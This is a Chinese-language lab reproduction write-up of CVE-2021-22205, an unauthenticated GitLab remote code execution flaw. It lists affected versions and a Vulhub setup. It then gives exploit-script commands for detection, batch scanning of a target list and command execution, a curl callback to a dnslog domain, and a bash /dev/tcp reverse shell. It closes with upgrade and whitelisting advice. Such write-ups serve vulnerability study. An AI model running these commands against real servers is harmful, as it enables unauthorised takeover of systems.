CVE-2021-22205 GitLab未授权 RCE
漏洞背景和描述
2021年4月15日,GitLab官方发布安全补丁更新修复了GitLab命令执行漏洞(CVE-2021-22205)。由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影响,CVSS评分为9.9。
漏洞影响版本
- 11.9 <= Gitlab CE/EE < 13.8.8
- 13.9 <= Gitlab CE/EE < 13.9.6
- 13.10 <= Gitlab CE/EE < 13.10.3
漏洞复现
本次复现采用Vulhub靶场环境,需要在本地搭建Vulhub靶场
进入靶场环境,使用以下命令启动环境:
docker-compose up -d
检测环境端口是否开放
docker-compose ps
访问目标的URL:http://192.168.0.109:8080
下载漏洞利用脚本:https://github.com/Al1ex/CVE-2021-22205
漏洞检测
python3 CVE-2021-22205.py -v true -t http://192.168.0.109:8080/
批量检测
python3 CVE-2021-22205.py -s true -f target.txt
漏洞利⽤
python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c command
dnslog探测
网站地址:http://www.dnslog.cn/
python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c "curl p77j19.dnslog.cn"
反弹shell
如果⽬标出⽹的话,可以尝试反弹shell
本机开启监听
nc -lvp 4444
#先将反弹shell的命令写⼊tmp⽬录下的1.sh⽂件
python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.0.109/4444 0>&1' > /tmp/1.sh"
#执⾏该⽂件
python3 CVE-2021-22205.py -a true -t http://192.168.0.109:8080/ -c "bash /tmp/1.sh"
本机收到监听会话
漏洞预防和修复
官⽅升级
⽬前官⽅已发布新版本修复了该漏洞,请受影响的⽤户尽快升级⾄最新版本进⾏防护,官⽅下载链接:https://about.gitlab.com/update/
临时防护措施
若相关⽤户暂时⽆法进⾏升级操作,可使⽤⽩名单限制对Web端⼝的访问。
相关:https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/